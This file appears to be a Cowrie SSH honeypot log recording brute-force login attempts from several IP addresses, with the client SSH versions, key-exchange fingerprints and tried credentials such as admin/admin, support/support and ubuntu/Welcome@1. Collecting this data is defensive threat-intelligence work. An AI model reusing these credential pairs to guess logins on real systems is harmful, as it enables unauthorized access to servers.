{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:db:d7:73:b4:7f:66:ea:5e:04:84:24:7b:0f:b9:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhegqIdQGbE+2ZU1lx6lAhVpIwSlRqKRIbBRVGJarAb0KbIk/rZBVsHSXL/VQeXQBuiOOpaimQRzgELSzRh7g/BadGw0OnRwOkYt9DiVP+oSPdRkfFXydla2hYP9gLhHIw7qazg33a/USRbauar44+oZIdvEsfrnT1WkMfVhvi1TVC7DT7H1dsrrjP+718p7Mm/n4SMLv6LS7+e83I570bIDOBWLW2DaOy9YKRrkdDPSV1YnBU7+1GijJulW26++HHQ7SaQZFjvCUjlf2rfO5R16NaOUegD+aBTlJnk70njCS7sshTWJWRinkUYDubbZoPTfrZKD7EzUAkl54gxoh93RNNdn0dnIRr+0ifnycKHVS+SW9gf49R9UHJrzug9L5ix6UQSzo8WUyOTiutDbMt1sCkuc22hWsw/IBrk+E7B9CJYprw4blUmz/wjntwm63mFKYhC4WRLGrQYM7StRPMv4qE1x59NYmB3jWHwwvPywQ7Wace03exi7QvfxXELt8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.621158Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:59:73:53:4d:6c:11:75:0b:27:ae:fe:b1:44:75:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuL2LiknKtF4FZJrVL8Gl6DWqiuNdGZeK870LX1K/MMPTlYcTsKE3Q8iohoqoLAYhHjqM+LveEMidKkWv94ZpYIoLNqTly2KMMb7G3J0uUBMIBUrdhUhkM/ErpEhPKGg3iCLvkloesjVG1NXfuWdssTL6rnnLdEFye2qv+tqK1W6lsYGg7TaKavnRwVlvUkdAzZf67bTl7OnGaCc9+WyHv3fMU018vdEa5IKFoZzISLdbELJPq+tkRz5uvDNQrQMM1iEo0qmHUApaceLthOk0RwaWezRdro51XS7NJVTXZpYkDdT9aJgdgZ104ibDWem18rlqH6ATAO6SBkQxx6jnlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:59:73:53:4d:6c:11:75:0b:27:ae:fe:b1:44:75:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.682844Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:59:73:53:4d:6c:11:75:0b:27:ae:fe:b1:44:75:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuL2LiknKtF4FZJrVL8Gl6DWqiuNdGZeK870LX1K/MMPTlYcTsKE3Q8iohoqoLAYhHjqM+LveEMidKkWv94ZpYIoLNqTly2KMMb7G3J0uUBMIBUrdhUhkM/ErpEhPKGg3iCLvkloesjVG1NXfuWdssTL6rnnLdEFye2qv+tqK1W6lsYGg7TaKavnRwVlvUkdAzZf67bTl7OnGaCc9+WyHv3fMU018vdEa5IKFoZzISLdbELJPq+tkRz5uvDNQrQMM1iEo0qmHUApaceLthOk0RwaWezRdro51XS7NJVTXZpYkDdT9aJgdgZ104ibDWem18rlqH6ATAO6SBkQxx6jnlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.687370Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:ef:4e:02:6f:8c:5d:60:2b:12:72:f3:38:16:d2:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2aksDkFG49t1sKvN1DRzM/ablyWdDVEZMLD88COXdCVA0BarF6pGgsbr5MHD9T6RLmeVAdThJkPvdbTXE+gtXIc8tkxasrlokX9qqc+7w0jqteecNk7FRvKjSAcQaHWCqgbfkTKi1O1AVIg7jvOUkTAbAWtdeTGZ7OsEGhgOt8e0AE5LquNophXmoLLGXe9CGNMJeP241ux08iBXv2vGCPYw7hqouJ/AO2t/1o4xCLpnJzmHR3DUO7eDC6r2qGZZ+zK7kmfIWjRSpVkokxxtujJ0JtrAm721tqpXeJwymziZktxRo2rGQg1/xJs76HjJu3ht3KiJd/dWRxznYDly8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:ef:4e:02:6f:8c:5d:60:2b:12:72:f3:38:16:d2:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.750010Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:ef:4e:02:6f:8c:5d:60:2b:12:72:f3:38:16:d2:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2aksDkFG49t1sKvN1DRzM/ablyWdDVEZMLD88COXdCVA0BarF6pGgsbr5MHD9T6RLmeVAdThJkPvdbTXE+gtXIc8tkxasrlokX9qqc+7w0jqteecNk7FRvKjSAcQaHWCqgbfkTKi1O1AVIg7jvOUkTAbAWtdeTGZ7OsEGhgOt8e0AE5LquNophXmoLLGXe9CGNMJeP241ux08iBXv2vGCPYw7hqouJ/AO2t/1o4xCLpnJzmHR3DUO7eDC6r2qGZZ+zK7kmfIWjRSpVkokxxtujJ0JtrAm721tqpXeJwymziZktxRo2rGQg1/xJs76HjJu3ht3KiJd/dWRxznYDly8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.753315Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:17.815414Z","src_ip":"23.239.119.194","session":"57853cc48105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":37448,"dst_ip":"159.203.135.109","dst_port":22,"session":"d24544f8aa07","protocol":"ssh","message":"New connection: 103.91.246.101:37448 (159.203.135.109:22) [session: d24544f8aa07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:49.169958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:49.174406Z","src_ip":"103.91.246.101","session":"d24544f8aa07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:49.516314Z","src_ip":"103.91.246.101","session":"d24544f8aa07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix24","message":"login attempt [bitrix/bitrix24] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:50.891279Z","src_ip":"103.91.246.101","session":"d24544f8aa07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:52.230204Z","src_ip":"103.91.246.101","session":"d24544f8aa07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12146,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dfdfc35e862","protocol":"ssh","message":"New connection: 87.251.64.176:12146 (10.17.0.5:22) [session: 1dfdfc35e862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.279925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.284821Z","src_ip":"87.251.64.176","session":"1dfdfc35e862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.381278Z","src_ip":"87.251.64.176","session":"1dfdfc35e862","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.670425Z","src_ip":"87.251.64.176","session":"1dfdfc35e862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.772117Z","session":"1dfdfc35e862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.871687Z","src_ip":"87.251.64.176","session":"1dfdfc35e862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:33:56.970890Z","src_ip":"87.251.64.176","session":"1dfdfc35e862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":47560,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2638510ba5e","protocol":"ssh","message":"New connection: 31.57.184.247:47560 (159.203.135.109:22) [session: a2638510ba5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:48.257320Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:48.260960Z","src_ip":"31.57.184.247","session":"a2638510ba5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":47568,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a8b490bf83b","protocol":"ssh","message":"New connection: 31.57.184.247:47568 (159.203.135.109:22) [session: 9a8b490bf83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:48.454301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:48.458475Z","src_ip":"31.57.184.247","session":"9a8b490bf83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:48.562007Z","src_ip":"31.57.184.247","session":"9a8b490bf83b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:48.909717Z","src_ip":"31.57.184.247","session":"9a8b490bf83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:50.015746Z","src_ip":"31.57.184.247","session":"9a8b490bf83b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":47464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5266dfa0b521","protocol":"ssh","message":"New connection: 103.91.246.101:47464 (159.203.135.109:22) [session: 5266dfa0b521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:50.631205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:50.635370Z","src_ip":"103.91.246.101","session":"5266dfa0b521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:50.848821Z","src_ip":"103.91.246.101","session":"5266dfa0b521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user123456789","message":"login attempt [ubuntu/user123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:51.735215Z","src_ip":"103.91.246.101","session":"5266dfa0b521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:34:52.951338Z","src_ip":"103.91.246.101","session":"5266dfa0b521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":45840,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccdc8769e648","protocol":"ssh","message":"New connection: 107.150.103.12:45840 (159.203.135.109:22) [session: ccdc8769e648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:01.561937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:01.567398Z","src_ip":"107.150.103.12","session":"ccdc8769e648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:01.641452Z","src_ip":"107.150.103.12","session":"ccdc8769e648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1","message":"login attempt [ubuntu/Welcome@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:01.959455Z","src_ip":"107.150.103.12","session":"ccdc8769e648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:03.034898Z","src_ip":"107.150.103.12","session":"ccdc8769e648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":28140,"dst_ip":"10.17.0.5","dst_port":22,"session":"04437ab80f94","protocol":"ssh","message":"New connection: 213.209.159.56:28140 (10.17.0.5:22) [session: 04437ab80f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:04.024110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:04.029479Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:04.111699Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana","message":"login attempt [sanjana/sanjana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:04.511323Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana1","message":"login attempt [sanjana/sanjana1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:05.597194Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
